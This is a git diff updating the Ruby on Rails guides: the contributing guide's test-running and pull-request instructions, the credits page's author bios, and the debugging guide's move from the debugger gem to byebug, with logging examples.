+changes. The railties test suite in particular takes a long time, and even
+more if the source code is mounted in `/vagrant` as happens in the recommended
+workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
+
+As a compromise, test what your code obviously affects, and if the change is
+not in railties, run the whole test suite of the affected component. If all
+tests are passing, that's enough to propose your contribution. We have
+[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching
+unexpected breakages elsewhere.
+
+#### Entire Rails:
+
+To run all the tests, do:
+
+```bash
+$ cd rails
+$ bundle exec rake test
+```
+
+#### For a Particular Component
+
+You can run tests only for a particular component (e.g. Action Pack). For example,
+to run Action Mailer tests:
+
+```bash
+$ cd actionmailer
+$ bundle exec rake test
+```
+
+#### Running a Single Test
+
+You can run a single test through ruby. For instance:
+
+```bash
+$ cd actionmailer
+$ ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout
+```
+
+The `-n` option allows you to run a single method instead of the whole
+file.
+
+##### Testing Active Record
+
+This is how you run the Active Record test suite only for SQLite3:
+
+```bash
+$ cd activerecord
+$ bundle exec rake test:sqlite3
+```
+
+You can now run the tests as you did for `sqlite3`. The tasks are respectively
+
+```bash
+test:mysql
+test:mysql2
+test:postgresql
+```
+
+Finally,
+
+```bash
+$ bundle exec rake test
+```
+
+will now run the four of them in turn.
+
+You can also run any single test separately:
+
+```bash
+$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
+```
+
+To run a single test against all adapters, use:
+
+```bash
+$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb
+```
+
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
+
+### Warnings
+
+The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
+
+If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+
+```bash
+$ RUBYOPT=-W0 bundle exec rake test
+```
### Updating the CHANGELOG
The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
-You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, commiting a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
+You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
-A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
+A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:
```
* Summary of a change that briefly describes what was changed. You can use multiple
@@ -246,9 +363,13 @@ Your name can be added directly after the last word if you don't provide any cod
### Sanity Check
-You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test†for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
-
-You might want also to check out the [RailsBridge BugMash](http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash) as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches.
+You should not be the only person who looks at the code before you submit it.
+If you know someone else who uses Rails, try asking them if they'll check out
+your work. If you don't know anyone else using Rails, try hopping into the IRC
+room or posting about your idea to the rails-core mailing list. Doing this in
+private before you push a patch out publicly is the "smoke test" for a patch:
+if you can't convince one other developer of the beauty of your code, you’re
+unlikely to convince the core team either.
### Commit Your Changes
@@ -274,9 +395,9 @@ it should not be necessary to visit a webpage to check the history.
Description can have multiple paragraphs and you can use code examples
inside, just indent it with 4 spaces:
- class PostsController
+ class ArticlesController
def index
- respond_with Post.limit(10)
+ render json: Article.limit(10)
end
end
@@ -292,7 +413,7 @@ TIP. Please squash your commits into a single commit when appropriate. This simp
### Update Your Branch
-It’s pretty likely that other changes to master have happened while you were working. Go get them:
+It's pretty likely that other changes to master have happened while you were working. Go get them:
```bash
$ git checkout master
@@ -362,25 +483,47 @@ $ git push origin branch_name
### Issue a Pull Request
-Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
+Navigate to the Rails repository you just pushed to (e.g.
+https://github.com/your-user-name/rails) and click on "Pull Requests" seen in
+the right panel. On the next page, press "New pull request" in the upper right
+hand corner.
-Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range".
+Click on "Edit", if you need to change the branches being compared (it compares
+"master" by default) and press "Click to create a pull request for this
+comparison".
-Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes.
-
-Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
+Ensure the changesets you introduced are included. Fill in some details about
+your potential patch including a meaningful title. When finished, press "Send
+pull request". The Rails core team will be notified about your submission.
### Get some Feedback
-Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
+Most pull requests will go through a few iterations before they get merged.
+Different contributors will sometimes have different opinions, and often
+patches will need revised before they can get merged.
+
+Some contributors to Rails have email notifications from GitHub turned on, but
+others do not. Furthermore, (almost) everyone who works on Rails is a
+volunteer, and so it may take a few days for you to get your first feedback on
+a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such
+is the open source life.
+
+If it's been over a week, and you haven't heard anything, you might want to try
+and nudge things along. You can use the [rubyonrails-core mailing
+list](http://groups.google.com/group/rubyonrails-core/) for this. You can also
+leave another comment on the pull request.
+
+While you're waiting for feedback on your pull request, open up a few other
+pull requests and give someone else some! I'm sure they'll appreciate it in
+the same way that you appreciate feedback on your patches.
### Iterate as Necessary
-It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem.
+It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.
#### Squashing commits
-One of the things that we may ask you to do is "squash your commits," which
+One of the things that we may ask you to do is to "squash your commits", which
will combine all of your commits into a single commit. We prefer pull requests
that are a single commit. This makes it easier to backport changes to stable
branches, squashing makes it easier to revert bad commits, and the git history
@@ -403,7 +546,7 @@ following:
```bash
$ git fetch upstream
-$ git checkout my_pull_request
+$ git checkout my_pull_request
$ git rebase upstream/master
$ git rebase -i
@@ -416,7 +559,35 @@ $ git push origin my_pull_request -f
You should be able to refresh the pull request on GitHub and see that it has
been updated.
-### Backporting
+#### Updating pull request
+
+Sometimes you will be asked to make some changes to the code you have
+already committed. This can include amending existing commits. In this
+case Git will not allow you to push the changes as the pushed branch
+and local branch do not match. Instead of opening a new pull request,
+you can force push to your branch on GitHub as described earlier in
+squashing commits section:
+
+```bash
+$ git push origin my_pull_request -f
+```
+
+This will update the branch and pull request on GitHub with your new code. Do
+note that using force push may result in commits being lost on the remote branch; use it with care.
+
+
+### Older Versions of Ruby on Rails
+
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch:
+
+```bash
+$ git branch --track 4-0-stable origin/4-0-stable
+$ git checkout 4-0-stable
+```
+
+TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
+
+#### Backporting
Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
index e25168d58d..61ea0b44ef 100644
--- a/guides/source/credits.html.erb
+++ b/guides/source/credits.html.erb
@@ -28,11 +28,11 @@ Ruby on Rails Guides: Credits
<h3 class="section">Rails Guides Authors</h3>
<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
-Ryan Bigg works as a consultant at <a href="http://rubyx.com">RubyX</a> and has been working with Rails since 2006. He's co-authoring a book called <a href="http://manning.com/katz">Rails 3 in Action</a> and he's written many gems which can be seen on <a href="http://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>.
+ Ryan Bigg works as the Community Manager at <a href="http://spreecommerce.com">Spree Commerce</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>.
<% end %>
<%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %>
-Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">Github account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>.
+Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">GitHub account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>.
<% end %>
<%= author('Frederick Cheung', 'fcheung') do %>
@@ -40,7 +40,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
<% end %>
<%= author('Tore Darell', 'toretore') do %>
- Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>.
+ Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on <a href="http://twitter.com/toretore">Twitter</a>.
<% end %>
<%= author('Jeff Dean', 'zilkey') do %>
@@ -64,7 +64,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
<% end %>
<%= author('Pratik Naik', 'lifo') do %>
- Pratik Naik is a Ruby on Rails developer at <a href="http://www.37signals.com">37signals</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
+ Pratik Naik is a Ruby on Rails developer at <a href="https://basecamp.com/">Basecamp</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
<% end %>
<%= author('Emilio Tagua', 'miloops') do %>
@@ -74,3 +74,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
<%= author('Heiko Webers', 'hawe') do %>
Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
<% end %>
+
+<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %>
+ Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
+<% end %>
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
index addc3a63a8..1a647f8375 100644
--- a/guides/source/debugging_rails_applications.md
+++ b/guides/source/debugging_rails_applications.md
@@ -23,20 +23,20 @@ One common task is to inspect the contents of a variable. In Rails, you can do t
### `debug`
-The `debug` helper will return a \<pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
```html+erb
-<%= debug @post %>
+<%= debug @article %>
<p>
<b>Title:</b>
- <%=h @post.title %>
+ <%= @article.title %>
</p>
```
You'll see something like this:
```yaml
---- !ruby/object:Post
+--- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: It's a very helpful guide for debugging your Rails app.
@@ -55,10 +55,10 @@ Title: Rails debugging guide
Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
```html+erb
-<%= simple_format @post.to_yaml %>
+<%= simple_format @article.to_yaml %>
<p>
<b>Title:</b>
- <%=h @post.title %>
+ <%= @article.title %>
</p>
```
@@ -67,7 +67,7 @@ The `to_yaml` method converts the method to YAML format leaving it more readable
As a result of this, you will have something like this in your view:
```yaml
---- !ruby/object:Post
+--- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: It's a very helpful guide for debugging your Rails app.
@@ -88,7 +88,7 @@ Another useful method for displaying object values is `inspect`, especially when
<%= [1, 2, 3, 4, 5].inspect %>
<p>
<b>Title:</b>
- <%=h @post.title %>
+ <%= @article.title %>
</p>
```
@@ -107,7 +107,7 @@ It can also be useful to save information to log files at runtime. Rails maintai
### What is the Logger?
-Rails makes use of the `ActiveSupport::BufferedLogger` class to write log information. You can also substitute another logger such as `Log4r` if you wish.
+Rails makes use of the `ActiveSupport::Logger` class to write log information. You can also substitute another logger such as `Log4r` if you wish.
You can specify an alternative logger in your `environment.rb` or any environment file:
@@ -123,7 +123,7 @@ config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")
```
-TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`.
+TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running.
### Log Levels
@@ -138,7 +138,7 @@ Rails.logger.level = 0 # at any time
This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
-TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode.
+TIP: The default Rails log level is `debug` in all environments.
### Sending Messages
@@ -153,18 +153,18 @@ logger.fatal "Terminating application, raised unrecoverable error!!!"
Here's an example of a method instrumented with extra logging:
```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
# ...
def create
- @post = Post.new(params[:post])
- logger.debug "New post: #{@post.attributes.inspect}"
- logger.debug "Post should be valid: #{@post.valid?}"
-
- if @post.save
- flash[:notice] = 'Post was successfully created.'
- logger.debug "The post was saved and now the user is going to be redirected..."
- redirect_to(@post)
+ @article = Article.new(params[:article])
+ logger.debug "New article: #{@article.attributes.inspect}"
+ logger.debug "Article should be valid: #{@article.valid?}"
+
+ if @article.save
+ flash[:notice] = 'Article was successfully created.'
+ logger.debug "The article was saved and now the user is going to be redirected..."
+ redirect_to(@article)
else
render action: "new"
end
@@ -174,31 +174,33 @@ class PostsController < ApplicationController
end
```
-Here's an example of the log generated by this method:
+Here's an example of the log generated when this controller action is executed:
```
-Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
- Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails",
"body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
- "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"}
+New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
"published"=>false, "created_at"=>nil}
-Post should be valid: true
- Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
+Article should be valid: true
+ Article Create (0.000443) INSERT INTO "articles" ("updated_at", "title", "body", "published",
"created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
-The post was saved and now the user is going to be redirected...
-Redirected to #<Post:0x20af760>
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+The article was saved and now the user is going to be redirected...
+Redirected to # Article:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles]
```
-Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
+Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.
### Tagged Logging
-When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. `TaggedLogging` in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+When running multi-user, multi-account applications, it's often useful
+to be able to filter the logs using some custom rules. `TaggedLogging`
+in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
```ruby
logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
@@ -207,430 +209,591 @@ logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "
logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
```
-Debugging with the `debugger` gem
+### Impact of Logs on Performance
+Logging will always have a small impact on performance of your rails app,
+ particularly when logging to disk. However, there are a few subtleties:
+
+Using the `:debug` level will have a greater performance penalty than `:fatal`,
+ as a far greater number of strings are being evaluated and written to the
+ log output (e.g. disk).
+
+Another potential pitfall is that if you have many calls to `Logger` like this
+ in your code:
+
+```ruby
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+```
+
+In the above example, There will be a performance impact even if the allowed
+output level doesn't include debug. The reason is that Ruby has to evaluate
+these strings, which includes instantiating the somewhat heavy `String` object
+and interpolating the variables, and which takes time.
+Therefore, it's recommended to pass blocks to the logger methods, as these are
+only evaluated if the output level is the same or included in the allowed level
+(i.e. lazy loading). The same code rewritten would be:
+
+```ruby
+logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
+```
+
+The contents of the block, and therefore the string interpolation, is only
+evaluated if debug is enabled. This performance savings is only really
+noticeable with large amounts of logging, but it's a good practice to employ.
+
+Debugging with the `byebug` gem
---------------------------------
-When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+When your code is behaving in unexpected ways, you can try printing to logs or
+the console to diagnose the problem. Unfortunately, there are times when this
+sort of error tracking is not effective in finding the root cause of a problem.
+When you actually need to journey into your running source code, the debugger
+is your best companion.
-The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+The debugger can also help you if you want to learn about the Rails source code
+but don't know where to start. Just debug any request to your application and
+use this guide to learn how to move from the code you have written deeper into
+Rails code.
### Setup
-Rails uses the `debugger` gem to set breakpoints and step through live code. To install it, just run:
+You can use the `byebug` gem to set breakpoints and step through live code in
+Rails. To install it, just run:
```bash
-$ gem install debugger
+$ gem install byebug
```
-Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+Inside any Rails application you can then invoke the debugger by calling the
+`byebug` method.
Here's an example:
```ruby
class PeopleController < ApplicationController
def new
- debugger
+ byebug
@person = Person.new
end
end
```
-If you see the message in the console or logs:
+### The Shell
+
+As soon as your application calls the `byebug` method, the debugger will be
+started in a debugger shell inside the terminal window where you launched your
+application server, and you will be placed at the debugger's prompt `(byebug)`.
+Before the prompt, the code around the line that is about to be run will be
+displayed and the current line will be marked by '=>'. Like this:
```
-***** Debugger requested, but was not available: Start server with --debugger to enable *****
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+ 3:
+ 4: # GET /articles
+ 5: # GET /articles.json
+ 6: def index
+ 7: byebug
+=> 8: @articles = Article.find_recent
+ 9:
+ 10: respond_to do |format|
+ 11: format.html # index.html.erb
+ 12: format.json { render json: @articles }
+
+(byebug)
```
-Make sure you have started your web server with the option `--debugger`:
+If you got there by a browser request, the browser tab containing the request
+will be hung until the debugger has finished and the trace has finished
+processing the entire request.
+
+For example:
```bash
-$ rails server --debugger
=> Booting WEBrick
-=> Rails 3.0.0 application starting on http://0.0.0.0:3000
-=> Debugger enabled
-...
-```
+=> Rails 4.2.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+=> Notice: server is listening on all interfaces (0.0.0.0). Consider using 127.0.0.1 (--binding option)
+=> Ctrl-C to shutdown server
+[2014-04-11 13:11:47] INFO WEBrick 1.3.1
+[2014-04-11 13:11:47] INFO ruby 2.1.1 (2014-02-24) [i686-linux]
+[2014-04-11 13:11:47] INFO WEBrick::HTTPServer#start: pid=6370 port=3000
-TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, if it was started without `--debugger`.
-### The Shell
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
+ ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_migrations".* FROM "schema_migrations"
+Processing by ArticlesController#index as HTML
-As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+ 3:
+ 4: # GET /articles
+ 5: # GET /articles.json
+ 6: def index
+ 7: byebug
+=> 8: @articles = Article.find_recent
+ 9:
+ 10: respond_to do |format|
+ 11: format.html # index.html.erb
+ 12: format.json { render json: @articles }
-If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+(byebug)
+```
-For example:
+Now it's time to explore and dig into your application. A good place to start is
+by asking the debugger for help. Type: `help`
-```bash
-@posts = Post.all
-(rdb:7)
```
+(byebug) help
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)
+byebug 2.7.0
-```
-(rdb:7) help
-ruby-debug help v0.10.2
Type 'help <command-name>' for help on a specific command
Available commands:
-backtrace delete enable help next quit show trace
-break disable eval info p reload source undisplay
-catch display exit irb pp restart step up
-condition down finish list ps save thread var
-continue edit frame method putl set tmate where
+backtrace delete enable help list pry next restart source up
+break disable eval info method ps save step var
+catch display exit interrupt next putl set thread
+condition down finish irb p quit show trace
+continue edit frame kill pp reload skip undisplay
```
-TIP: To view the help menu for any command use `help <command-name>` in active debug mode. For example: _`help var`_
+TIP: To view the help menu for any command use `help <command-name>` at the
+debugger prompt. For example: _`help list`_. You can abbreviate any debugging
+command by supplying just enough letters to distinguish them from other
+commands, so you can also use `l` for the `list` command, for example.
-The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.
+To see the previous ten lines you should type `list-` (or `l-`)
-This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.
-
-```
-(rdb:7) list
-[1, 10] in /PathToProject/posts_controller.rb
- 1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
-=> 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
```
+(byebug) l-
-If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+ 1 class ArticlesController < ApplicationController
+ 2 before_action :set_article, only: [:show, :edit, :update, :destroy]
+ 3
+ 4 # GET /articles
+ 5 # GET /articles.json
+ 6 def index
+ 7 byebug
+ 8 @articles = Article.find_recent
+ 9
+ 10 respond_to do |format|
```
-(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
- 11 end
- 12 end
- 13
- 14 # GET /posts/1
- 15 # GET /posts/1.json
- 16 def show
- 17 @post = Post.find(params[:id])
- 18
- 19 respond_to do |format|
- 20 format.html # show.html.erb
-```
-
-And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
-On the other hand, to see the previous ten lines you should type `list-` (or `l-`)
+This way you can move inside the file, being able to see the code above and over
+the line where you added the `byebug` call. Finally, to see where you are in
+the code again you can type `list=`
```
-(rdb:7) l-
-[1, 10] in /PathToProject/posts_controller.rb
- 1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
- 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
-```
+(byebug) list=
-This way you can move inside the file, being able to see the code above and over the line you added the `debugger`.
-Finally, to see where you are in the code again you can type `list=`
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+ 3:
+ 4: # GET /articles
+ 5: # GET /articles.json
+ 6: def index
+ 7: byebug
+=> 8: @articles = Article.find_recent
+ 9:
+ 10: respond_to do |format|
+ 11: format.html # index.html.erb
+ 12: format.json { render json: @articles }
-```
-(rdb:7) list=
-[1, 10] in /PathToProject/posts_controller.rb
- 1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
-=> 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
+(byebug)
```
### The Context
-When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
-
-The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
-
-At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
-
-```
-(rdb:5) where
- #0 PostsController.index
- at line /PathTo/project/app/controllers/posts_controller.rb:6
- #1 Kernel.send
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
- #2 ActionController::Base.perform_action_without_filters
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
- #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+When you start debugging your application, you will be placed in different
+contexts as you go through the different parts of the stack.
+
+The debugger creates a context when a stopping point or an event is reached. The
+context has information about the suspended program which enables the debugger
+to inspect the frame stack, evaluate variables from the perspective of the
+debugged program, and contains information about the place where the debugged
+program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print
+the backtrace of the application. This can be very helpful to know how you got
+where you are. If you ever wondered about how you got somewhere in your code,
+then `backtrace` will supply the answer.
+
+```
+(byebug) where
+--> #0 ArticlesController.index
+ at /PathTo/project/test_app/app/controllers/articles_controller.rb:8
+ #1 ActionController::ImplicitRender.send_action(method#String, *args#Array)
+ at /PathToGems/actionpack-4.2.0/lib/action_controller/metal/implicit_render.rb:4
+ #2 AbstractController::Base.process_action(action#NilClass, *args#Array)
+ at /PathToGems/actionpack-4.2.0/lib/abstract_controller/base.rb:189
+ #3 ActionController::Rendering.process_action(action#NilClass, *args#NilClass)
+ at /PathToGems/actionpack-4.2.0/lib/action_controller/metal/rendering.rb:10
...
```
-You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+The current frame is marked with `-->`. You can move anywhere you want in this
+trace (thus changing the context) by using the `frame _n_` command, where _n_ is
+the specified frame number. If you do that, `byebug` will display your new
+context.
```
-(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+(byebug) frame 2
+
+[184, 193] in /PathToGems/actionpack-4.2.0/lib/abstract_controller/base.rb
+ 184: # is the intended way to override action dispatching.
+ 185: #
+ 186: # Notice that the first argument is the method to be dispatched
+ 187: # which is *not* necessarily the same as the action name.
+ 188: def process_action(method_name, *args)
+=> 189: send_action(method_name, *args)
+ 190: end
+ 191:
+ 192: # Actually call the method associated with the action. Override
+ 193: # this method if you wish to change how action methods are called,
+
+(byebug)
```
-The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+The available variables are the same as if you were running the code line by
+line. After all, that's what debugging is.
